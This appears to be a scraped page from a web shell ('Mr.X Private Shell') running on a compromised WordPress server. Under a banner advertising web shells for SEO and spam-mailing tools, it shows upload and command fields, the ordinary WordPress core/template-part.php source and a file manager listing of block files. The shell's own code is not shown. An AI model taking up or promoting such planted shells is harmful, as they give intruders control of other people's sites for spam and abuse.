__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Server-side rendering of the `core/template-part` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/template-part` block on the server.
 *
 * @since 5.9.0
 *
 * @global WP_Embed $wp_embed WordPress Embed object.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_template_part( $attributes ) {
	static $seen_ids = array();

	$template_part_id = null;
	$content          = null;
	$area             = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
	$theme            = isset( $attributes['theme'] ) ? $attributes['theme'] : get_stylesheet();

	if ( isset( $attributes['slug'] ) && get_stylesheet() === $theme ) {
		$template_part_id    = $theme . '//' . $attributes['slug'];
		$template_part_query = new WP_Query(
			array(
				'post_type'           => 'wp_template_part',
				'post_status'         => 'publish',
				'post_name__in'       => array( $attributes['slug'] ),
				'tax_query'           => array(
					array(
						'taxonomy' => 'wp_theme',
						'field'    => 'name',
						'terms'    => $theme,
					),
				),
				'posts_per_page'      => 1,
				'no_found_rows'       => true,
				'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term.
			)
		);
		$template_part_post  = $template_part_query->have_posts() ? $template_part_query->next_post() : null;
		if ( $template_part_post ) {
			// A published post might already exist if this template part was customized elsewhere
			// or if it's part of a customized template.
			$block_template = _build_block_template_result_from_post( $template_part_post );
			$content        = $block_template->content;
			if ( isset( $block_template->area ) ) {
				$area = $block_template->area;
			}
			/**
			 * Fires when a block template part is loaded from a template post stored in the database.
			 *
			 * @since 5.9.0
			 *
			 * @param string  $template_part_id   The requested template part namespaced to the theme.
			 * @param array   $attributes         The block attributes.
			 * @param WP_Post $template_part_post The template part post object.
			 * @param string  $content            The template part content.
			 */
			do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content );
		} else {
			$template_part_file_path = '';
			// Else, if the template part was provided by the active theme,
			// render the corresponding file content.
			if ( 0 === validate_file( $attributes['slug'] ) ) {
				$block_template = get_block_file_template( $template_part_id, 'wp_template_part' );

				if ( isset( $block_template->content ) ) {
					$content = $block_template->content;
				}
				if ( isset( $block_template->area ) ) {
					$area = $block_template->area;
				}

				// Needed for the `render_block_core_template_part_file` and `render_block_core_template_part_none` actions below.
				$block_template_file = _get_block_template_file( 'wp_template_part', $attributes['slug'] );
				if ( $block_template_file ) {
					$template_part_file_path = $block_template_file['path'];
				}
			}

			if ( '' !== $content && null !== $content ) {
				/**
				 * Fires when a block template part is loaded from a template part in the theme.
				 *
				 * @since 5.9.0
				 *
				 * @param string $template_part_id        The requested template part namespaced to the theme.
				 * @param array  $attributes              The block attributes.
				 * @param string $template_part_file_path Absolute path to the template path.
				 * @param string $content                 The template part content.
				 */
				do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content );
			} else {
				/**
				 * Fires when a requested block template part does not exist in the database nor in the theme.
				 *
				 * @since 5.9.0
				 *
				 * @param string $template_part_id        The requested template part namespaced to the theme.
				 * @param array  $attributes              The block attributes.
				 * @param string $template_part_file_path Absolute path to the not found template path.
				 */
				do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path );
			}
		}
	}

	// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
	// is set in `wp_debug_mode()`.
	$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

	if ( is_null( $content ) ) {
		if ( $is_debug && isset( $attributes['slug'] ) ) {
			return sprintf(
				/* translators: %s: Template part slug. */
				__( 'Template part has been deleted or is unavailable: %s' ),
				$attributes['slug']
			);
		}

		return '';
	}

	if ( isset( $seen_ids[ $template_part_id ] ) ) {
		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	// Look up area definition.
	$area_definition = null;
	$defined_areas   = get_allowed_block_template_part_areas();
	foreach ( $defined_areas as $defined_area ) {
		if ( $defined_area['area'] === $area ) {
			$area_definition = $defined_area;
			break;
		}
	}

	// If $area is not allowed, set it back to the uncategorized default.
	if ( ! $area_definition ) {
		$area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
	}

	// Run through the actions that are typically taken on the_content.
	$content                       = shortcode_unautop( $content );
	$content                       = do_shortcode( $content );
	$seen_ids[ $template_part_id ] = true;
	$content                       = do_blocks( $content );
	unset( $seen_ids[ $template_part_id ] );
	$content = wptexturize( $content );
	$content = convert_smilies( $content );
	$content = wp_filter_content_tags( $content, "template_part_{$area}" );

	// Handle embeds for block template parts.
	global $wp_embed;
	$content = $wp_embed->autoembed( $content );

	if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) {
		$area_tag = 'div';
		if ( $area_definition && isset( $area_definition['area_tag'] ) ) {
			$area_tag = $area_definition['area_tag'];
		}
		$html_tag = $area_tag;
	} else {
		$html_tag = esc_attr( $attributes['tagName'] );
	}
	$wrapper_attributes = get_block_wrapper_attributes();

	return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]&gt;', $content ) . "</$html_tag>";
}

/**
 * Returns an array of area variation objects for the template part block.
 *
 * @since 6.1.0
 *
 * @param array $instance_variations The variations for instances.
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_area_variations( $instance_variations ) {
	$variations    = array();
	$defined_areas = get_allowed_block_template_part_areas();

	foreach ( $defined_areas as $area ) {
		if ( 'uncategorized' !== $area['area'] ) {
			$has_instance_for_area = false;
			foreach ( $instance_variations as $variation ) {
				if ( $variation['attributes']['area'] === $area['area'] ) {
					$has_instance_for_area = true;
					break;
				}
			}

			$scope = $has_instance_for_area ? array() : array( 'inserter' );

			$variations[] = array(
				'name'        => 'area_' . $area['area'],
				'title'       => $area['label'],
				'description' => $area['description'],
				'attributes'  => array(
					'area' => $area['area'],
				),
				'scope'       => $scope,
				'icon'        => $area['icon'],
			);
		}
	}
	return $variations;
}

/**
 * Returns an array of instance variation objects for the template part block
 *
 * @since 6.1.0
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_instance_variations() {
	// Block themes are unavailable during installation.
	if ( wp_installing() ) {
		return array();
	}

	if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) {
		return array();
	}

	$variations     = array();
	$template_parts = get_block_templates(
		array(
			'post_type' => 'wp_template_part',
		),
		'wp_template_part'
	);

	$defined_areas = get_allowed_block_template_part_areas();
	$icon_by_area  = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) );

	foreach ( $template_parts as $template_part ) {
		$variations[] = array(
			'name'        => 'instance_' . sanitize_title( $template_part->slug ),
			'title'       => $template_part->title,
			// If there's no description for the template part don't show the
			// block description. This is a bit hacky, but prevent the fallback
			// by using a non-breaking space so that the value of description
			// isn't falsey.
			'description' => $template_part->description || '&nbsp;',
			'attributes'  => array(
				'slug'  => $template_part->slug,
				'theme' => $template_part->theme,
				'area'  => $template_part->area,
			),
			'scope'       => array( 'inserter' ),
			'icon'        => isset( $icon_by_area[ $template_part->area ] ) ? $icon_by_area[ $template_part->area ] : null,
			'example'     => array(
				'attributes' => array(
					'slug'  => $template_part->slug,
					'theme' => $template_part->theme,
					'area'  => $template_part->area,
				),
			),
		);
	}
	return $variations;
}

/**
 * Returns an array of all template part block variations.
 *
 * @since 5.9.0
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_variations() {
	$instance_variations = build_template_part_block_instance_variations();
	$area_variations     = build_template_part_block_area_variations( $instance_variations );
	return array_merge( $area_variations, $instance_variations );
}

/**
 * Registers the `core/template-part` block on the server.
 *
 * @since 5.9.0
 */
function register_block_core_template_part() {
	register_block_type_from_metadata(
		__DIR__ . '/template-part',
		array(
			'render_callback'    => 'render_block_core_template_part',
			'variation_callback' => 'build_template_part_block_variations',
		)
	);
}
add_action( 'init', 'register_block_core_template_part' );

Filemanager

Name Type Size Permission Actions
accordion Folder 0775
accordion-heading Folder 0775
accordion-item Folder 0775
accordion-panel Folder 0775
archives Folder 6775
audio Folder 6775
avatar Folder 6775
block Folder 6775
button Folder 6775
buttons Folder 6775
calendar Folder 6775
categories Folder 6775
code Folder 6775
column Folder 6775
columns Folder 6775
comment-author-name Folder 6775
comment-content Folder 6775
comment-date Folder 6775
comment-edit-link Folder 6775
comment-reply-link Folder 6775
comment-template Folder 6775
comments Folder 6775
comments-pagination Folder 6775
comments-pagination-next Folder 6775
comments-pagination-numbers Folder 6775
comments-pagination-previous Folder 6775
comments-title Folder 6775
cover Folder 6775
details Folder 6775
embed Folder 6775
file Folder 6775
footnotes Folder 6775
freeform Folder 6775
gallery Folder 6775
group Folder 6775
heading Folder 6775
home-link Folder 6775
html Folder 6775
image Folder 6775
latest-comments Folder 6775
latest-posts Folder 6775
legacy-widget Folder 6775
list Folder 6775
list-item Folder 6775
loginout Folder 6775
math Folder 0775
media-text Folder 6775
missing Folder 6775
more Folder 6775
navigation Folder 6775
navigation-link Folder 6775
navigation-submenu Folder 6775
nextpage Folder 6775
page-list Folder 6775
page-list-item Folder 6775
paragraph Folder 6775
pattern Folder 6775
post-author Folder 6775
post-author-biography Folder 6775
post-author-name Folder 6775
post-comments-count Folder 0775
post-comments-form Folder 6775
post-comments-link Folder 0775
post-content Folder 6775
post-date Folder 6775
post-excerpt Folder 6775
post-featured-image Folder 6775
post-navigation-link Folder 6775
post-template Folder 6775
post-terms Folder 6775
post-time-to-read Folder 0775
post-title Folder 6775
preformatted Folder 6775
pullquote Folder 6775
query Folder 6775
query-no-results Folder 6775
query-pagination Folder 6775
query-pagination-next Folder 6775
query-pagination-numbers Folder 6775
query-pagination-previous Folder 6775
query-title Folder 6775
query-total Folder 6775
quote Folder 6775
read-more Folder 6775
rss Folder 6775
search Folder 6775
separator Folder 6775
shortcode Folder 6775
site-logo Folder 6775
site-tagline Folder 6775
site-title Folder 6775
social-link Folder 6775
social-links Folder 6775
spacer Folder 6775
table Folder 6775
tag-cloud Folder 6775
template-part Folder 6775
term-count Folder 0775
term-description Folder 6775
term-name Folder 0775
term-template Folder 0775
terms-query Folder 0775
text-columns Folder 6775
verse Folder 6775
video Folder 6775
widget-group Folder 6775
accordion-item.php File 2.35 KB 0775
accordion.php File 1.12 KB 0775
archives.php File 4.31 KB 0775
avatar.php File 5.61 KB 0775
block.php File 4.09 KB 0775
blocks-json.php File 213.45 KB 0775
button.php File 1.71 KB 0775
calendar.php File 5.93 KB 0775
categories.php File 4.54 KB 0775
comment-author-name.php File 2.08 KB 0775
comment-content.php File 2.4 KB 0775
comment-date.php File 1.82 KB 0775
comment-edit-link.php File 1.67 KB 0775
comment-reply-link.php File 2.03 KB 0775
comment-template.php File 4.39 KB 0775
comments-pagination-next.php File 1.88 KB 0775
comments-pagination-numbers.php File 1.59 KB 0775
comments-pagination-previous.php File 1.75 KB 0775
comments-pagination.php File 1.23 KB 0775
comments-title.php File 2.71 KB 0775
comments.php File 6.63 KB 0775
cover.php File 3.1 KB 0775
file.php File 1.83 KB 0775
footnotes.php File 3.68 KB 0775
gallery.php File 6.29 KB 0775
heading.php File 1.27 KB 0775
home-link.php File 5.31 KB 0775
image.php File 13.5 KB 0775
index.php File 4.99 KB 0775
latest-comments.php File 4.91 KB 0775
latest-posts.php File 8.53 KB 0775
legacy-widget.php File 3.92 KB 0775
list.php File 1.24 KB 0775
loginout.php File 1.63 KB 0775
media-text.php File 4.28 KB 0775
navigation-link.php File 13.63 KB 0775
navigation-submenu.php File 9.74 KB 0775
navigation.php File 48.39 KB 0775
page-list-item.php File 361 B 0775
page-list.php File 13.29 KB 0775
pattern.php File 1.75 KB 0775
post-author-biography.php File 1.49 KB 0775
post-author-name.php File 1.91 KB 0775
post-author.php File 2.67 KB 0775
post-comments-count.php File 1.25 KB 0775
post-comments-form.php File 2.74 KB 0775
post-comments-link.php File 2.18 KB 0775
post-content.php File 2.29 KB 0775
post-date.php File 3.55 KB 0775
post-excerpt.php File 3.53 KB 0775
post-featured-image.php File 9.14 KB 0775
post-navigation-link.php File 4.72 KB 0775
post-template.php File 5.61 KB 0775
post-terms.php File 3.55 KB 0775
post-time-to-read.php File 6.34 KB 0775
post-title.php File 2.09 KB 0775
query-no-results.php File 1.8 KB 0775
query-pagination-next.php File 3.69 KB 0775
query-pagination-numbers.php File 4.66 KB 0775
query-pagination-previous.php File 3.49 KB 0775
query-pagination.php File 1.15 KB 0775
query-title.php File 2.87 KB 0775
query-total.php File 2.48 KB 0775
query.php File 5.56 KB 0775
read-more.php File 1.79 KB 0775
require-dynamic-blocks.php File 4.59 KB 0775
require-static-blocks.php File 558 B 0775
rss.php File 4.5 KB 0775
search.php File 23.26 KB 0775
shortcode.php File 735 B 0775
site-logo.php File 6.19 KB 0775
site-tagline.php File 1.17 KB 0775
site-title.php File 1.82 KB 0775
social-link.php File 66.15 KB 0775
tag-cloud.php File 1.55 KB 0775
template-part.php File 9.92 KB 0775
term-count.php File 1.8 KB 0775
term-description.php File 1.73 KB 0775
term-name.php File 2.02 KB 0775
term-template.php File 4.36 KB 0775
video.php File 2.67 KB 0775
widget-group.php File 2.38 KB 0775
Filemanager